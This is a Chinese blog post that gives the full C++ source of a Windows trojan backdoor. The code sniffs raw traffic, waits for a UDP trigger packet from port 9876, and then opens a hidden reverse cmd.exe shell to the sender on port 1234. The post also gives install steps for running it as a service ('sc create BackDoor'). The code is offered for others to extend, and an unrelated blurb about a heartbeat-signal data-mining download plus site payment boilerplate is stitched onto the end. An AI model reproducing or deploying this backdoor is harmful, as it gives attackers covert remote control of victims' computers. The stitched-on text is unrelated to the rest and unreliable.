headerf.h

headerf.h

这里面放了公共函数,还有一些声明
代码

#ifndef _BDH_
#define _BDH_
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32.lib")
#define SIO_RCVALL  _WSAIOW(IOC_VENDOR,1)

typedef struct _iphdr{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_frag;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

typedef struct _udphdr{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
}UDP_HEADER;



extern int StartSniffer();
extern void StartWSA();
extern void returnMessage(SOCKET *Sock,char *msg);
extern void CreatePipeInSock();
extern int SetSocketHandle(SOCKET *Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);

#endif



这里就是sniffer...这个sniffer只解析IP和UDP包。。。通过对UDP的解析来启动木马进程.
对于UDP解析来启动木马这块还没有怎么完善。只是很简单的。。。等待大家来补充了。。

最好解析UDP来提取内容。判断用户名。密码。然后启动木马进程
sniffer.cpp
代码


#include "headerf.h"
//---------------------------------------------------------------------------

//-----------------------------
char rcvbuf[65535];
SOCKADDR_IN siSource;
extern SOCKET ReSock;
char SourceIPAddr[16];
unsigned short SourcePort;
bool CanCon=true;
char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++/r/n"
  "+EasyService  BackDoor/r/n"
  "+Coder By weibo(wbwap@sina.com)/r/n"
  "+Site  http://www.s8s8.net/r/n"
  "++++++++++++++++++++++++++++++++++++/r/n";
//-----------------------------
void DecodeIpPack(char *buf,int irec);
void DecodeUdpPack(char *buf,unsigned int buflen);
int msGetip(char *ipin, char* ipout);
void StartBackDoor(SOCKET *Sock,char *IPaddr);
//------------------------------
int StartSniffer()
{
       SOCKET SniffSock;
       struct sockaddr_in addr;
       unsigned char LocalName[256];
       struct hostent * hp;
       int ntime=1000;
       int rec;
       DWORD dwBufferLen[10];
       DWORD dwBufferInLen = 1;
       DWORD dwBytesReturned = 0;
       char in[20]="",out[20]="";
       StartWSA();
       SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
       setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));
       addr.sin_family = AF_INET;
       addr.sin_port = INADDR_ANY;
       msGetip(in,out);
       addr.sin_addr.S_un.S_addr = inet_addr(out);
       bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr));
       WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL);
       while(1)
       {
               memset(rcvbuf,0,sizeof(rcvbuf));
               rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0);
               DecodeIpPack(rcvbuf,rec);


       }
}
//---------------------------------------------------------------------------
void DecodeIpPack(char *buf,int irec)
{
       int iproto;
       int iIphlen;
       IP_HEADER *pIPheader;
       pIPheader = (IP_HEADER *)buf;
       iproto=pIPheader->proto;
       iIphlen = sizeof(unsigned long) * (pIPheader->h_lenver & 0xf);

       if (iproto == IPPROTO_UDP)
       {
               siSource.sin_addr.s_addr = pIPheader->sourceIP;
               strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16);
               //printf("包类型:%s/n源IP:%s   ","UDP",SourceIPAddr);
               DecodeUdpPack(buf+iIphlen,irec);
       }

}

void DecodeUdpPack(char *buf,unsigned int buflen)
{
       char str[10];
       UDP_HEADER *pUdpheader;
       pUdpheader=(UDP_HEADER *)buf;
       siSource.sin_port = pUdpheader->uh_sport;
       SourcePort=ntohs(siSource.sin_port);

//这个地方就是判断是否启动进程的地方!!!!!!!!!!!!!!!!!!!
//这里是 如果塬端口为9876 才会起动木马进程。。连接你的1234断口   这些都可以改
//最好的方法是Decode UDP包。。然后分析内容。。。作判断是否打开木马。。。。
//没时间了。。。。

       if(CanCon)
       {
               if(SourcePort == 9876)
               {
                       StartBackDoor(&ReSock,SourceIPAddr);
               }
               CanCon=false;
       }
}


int msGetip(char *ipin, char* ipout)
{
  char cHostName[80]="";
  if((gethostname(cHostName, 80)) == SOCKET_ERROR)
      return false;
  struct hostent *Host = gethostbyname(cHostName);
  if(NULL!=Host){
      struct in_addr addr;
      int i = 0;
      while(Host->h_addr_list[i] != NULL){
          memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
          if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
              if(strlen(ipin) == 0){
                  strcpy(ipin, inet_ntoa(addr));
              }
          }else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
              if(strlen(ipin) == 0){
                  strcpy(ipin, inet_ntoa(addr));
              }
          }else if(addr.S_un.S_un_b.s_b1 == 10 ){
              if(strlen(ipin) == 0){
                  strcpy(ipin, inet_ntoa(addr));
              }
          }else{
              if(strlen(ipout) == 0){
                  strcpy(ipout, inet_ntoa(addr));
              }
          }
          i++;
      }
      if(strlen(ipout) == 0) {
          strcpy(ipout, ipin);
      }
      if(strlen(ipin) == 0){
          strcpy(ipin, ipout);
      }
      return 1;
  }
  return 0;
}

void StartBackDoor(SOCKET *Sock,char *IPaddr)
{
       int rec;
//StartWSA();
       SetSocketHandle(Sock);
       rec = ContoReServer(Sock,1234,IPaddr);
       returnMessage(Sock,WelcomeBuff);
       CreatePipeInSock();
switch(rec)
{
 case 0:
  closesocket(ReSock);
  CanCon = true;
  break;
 case 1:
  CanCon = false;
  break;
}
}



这就是服务的主体。。。。。。。

本来还有个自动加为服务的功能。。。没时间了,马上走了。收拾东西去。。~~~~ZV来写吧。。。。
可以用 CreateService()函数。。
服务这块需要大家来改进~~

con.cpp
代码


#include "headerf.h"
//---------------------------------------------------------------------------
STARTUPINFO si;
PROCESS_INFORMATION pi;
SOCKET ReSock;
//-------------------------------

//---------------------------
void StartWSA()
{
       WSADATA wsa;
       
       WSAStartup(MAKEWORD(2,2),&wsa);
}

int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr)
{
  int namelen;
  struct sockaddr_in server_addr;
  server_addr.sin_family = AF_INET;
  server_addr.sin_port   = htons(port);
  server_addr.sin_addr.S_un.S_addr = inet_addr(reAddr);
  namelen = sizeof(server_addr);
  if(connect(*sock, (SOCKADDR *)&server_addr,namelen) < 0 )
      return 0;
  return 1;
}

int SetSocketHandle(SOCKET *Sock)
{
  *Sock = WSASocket(PF_INET,SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  if(*Sock == SOCKET_ERROR)
      return 0;
  return 1;
}


void returnMessage(SOCKET *Sock,char *msg)
{
  if (strlen(msg) <= 0)
      return;
  send(*Sock,msg,strlen(msg),0);
}
//下面这个是重订向si到Resock....等于一个简单的管道。。
//没太多时间。为了省事。。能实现cmd.
//最好能改写成管道CreatePipe()..
//这样可以对数据进行分析。。以便加入别的控制。。。。。。
void CreatePipeInSock()
{
       memset(&si, 0, sizeof(si));
       si.cb = sizeof(si);
       si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
       si.wShowWindow=SW_HIDE;
       si.hStdInput = si.hStdOutput = si.hStdError = (void *)ReSock;
       CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
}


backdoor.cpp
代码

#include "headerf.h"
//---------------------------------------------------------------------------
const int c_nEventCt = 3;
const int c_nEventIndexPause = 0;
const int c_nEventIndexContinue = 1;
const int c_nEventIndexStop = 2;
HANDLE g_arEventControl[c_nEventCt];
SERVICE_STATUS_HANDLE g_ssh;
DWORD g_dwStatus = SERVICE_STOPPED;
#pragma argsused
//服务状态给SCM
void SetStatus(DWORD dwStatus)
{
       SERVICE_STATUS ss =
               {
                       SERVICE_WIN32_OWN_PROCESS,
                       SERVICE_STOPPED,
                       SERVICE_ACCEPT_PAUSE_CONTINUE|
                       SERVICE_ACCEPT_STOP,
                       NO_ERROR,
                       0,
                       1,
                       5000
               };
       ss.dwCurrentState = dwStatus;
       SetServiceStatus(g_ssh,&ss);
       g_dwStatus = dwStatus;
}

//命令处理
VOID __stdcall Handler(DWORD dwCtl)
{
       switch(dwCtl)
       {
               case SERVICE_CONTROL_STOP:
                      WSACleanup();
                       break;

               default:
                       //nomal
                       break;
       }
}

bool HandleControl()
{
       bool bContinueRunning(true);

       DWORD dwWait = WaitForMultipleObjects(
                                               c_nEventCt,
                                               g_arEventControl,
                                               FALSE,
                                               0
                                               );
       int nIndex = dwWait - WAIT_OBJECT_0;
       if(nIndex>=0 && nIndex<c_nEventCt)
       {
               ResetEvent(g_arEventControl[nIndex]);

               switch(nIndex)
               {
                       case c_nEventIndexPause:
                               SetStatus(SERVICE_PAUSED);
                               break;
                       case c_nEventIndexContinue:
                               SetStatus(SERVICE_RUNNING);
                               break;
                       case c_nEventIndexStop:
                               SetStatus(SERVICE_STOP_PENDING);
                               bContinueRunning = false;
                               break;
               }
       }
       return (bContinueRunning);
}

VOID __stdcall ServiceMain(DWORD dwArgc,LPSTR* lpszArgv)
{
       g_arEventControl[c_nEventIndexPause] = CreateEvent(NULL,TRUE,FALSE,NULL);
       g_arEventControl[c_nEventIndexContinue] = CreateEvent(NULL,TRUE,FALSE,NULL);
       g_arEventControl[c_nEventIndexStop] = CreateEvent(NULL,TRUE,FALSE,NULL);

       g_ssh = RegisterServiceCtrlHandler(lpszArgv[0],Handler);

       SetStatus(SERVICE_START_PENDING);
       SetStatus(SERVICE_RUNNING);

       while(HandleControl())
       {
               if(g_dwStatus == SERVICE_RUNNING)
               {

                       StartSniffer();

               }

       }

       for(int nEvent = 0;nEvent < c_nEventCt;++nEvent)
       {
               CloseHandle(g_arEventControl[nEvent]);
               g_arEventControl[nEvent] = INVALID_HANDLE_VALUE;

       }

       SetStatus(SERVICE_STOPPED);
}

int __stdcall WinMain(
                       HINSTANCE hInstance,
                       HINSTANCE hPrevInstance,
                       LPSTR lpszCmdLine,
                       int nCmdShow
                       )
{
       SERVICE_TABLE_ENTRY arSvc[] =
       {
               {"ConEvent",ServiceMain},
               {NULL,NULL}
       };

       StartServiceCtrlDispatcher(arSvc);
return 0;
}




手动加为服务

编译好后
进入cmd

运行 sc create 随便一个名字 binpath= path

例子: sc create BackDoor binpath= c:/backdoor.exe


这个很草。。。。。。等我度过军训。有时间了。。回来再写~~~~88


附件是我用bcb6写的。。。

资源下载链接为: https://pan.quark.cn/s/c705392404e8 在本项目中,我们聚焦于“天池-零基础入门数据挖掘-心跳信号分类预测-EDA分析全过程-代码.rar”这一主题。该压缩包涵盖了一次针对心跳信号分类预测的数据挖掘实践,涉及数据的初步探索性分析(Exploratory Data Analysis, EDA)以及相关代码。 “天池”通常指阿里巴巴天池大数据竞赛平台,这是一个提供各类数据竞赛的平台,旨在助力数据科学家和初学者提升技能并解决实际问题。此数据挖掘任务可能是一项竞赛项目,要求参赛者对心跳信号进行分类预测,例如用于诊断心脏疾病或监测健康状况。EDA是数据分析的关键环节,其目的是通过可视化和统计方法深入了解数据的特性、结构及潜在模式。项目中的“task2 EDA.ipynb”很可能是一个 Jupyter Notebook 文件,记录了使用 Python 编程语言(如 Pandas、Matplotlib 和 Seaborn 等库)进行数据探索的过程。EDA 主要包括以下内容:数据加载,利用 Pandas 读取数据集并检查基本信息,如行数、列数、缺失值和数据类型;描述性统计,计算数据的中心趋势(平均值、中位数)、分散度(方差、标准差)和分布形状;可视化,绘制直方图、散点图、箱线图等,直观呈现数据分布和关联性;特征工程,识别并处理异常值,创建新特征或对现有特征进行转换;相关性分析,计算特征之间的相关系数,挖掘潜在关联。 “example.html”可能是一个示例报告或结果展示,总结了 EDA 过程中的发现,以及初步模型结果,涵盖数据清洗、特征选择、模型训练和验证等环节。“datasets”文件夹则包含用于分析的心跳信号数据集,这类数据通常由多个时间序列组成,每个序列代表一个个体在一段时间内的 ECG 记录。分析时需了解 ECG 的生理背景,如波
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值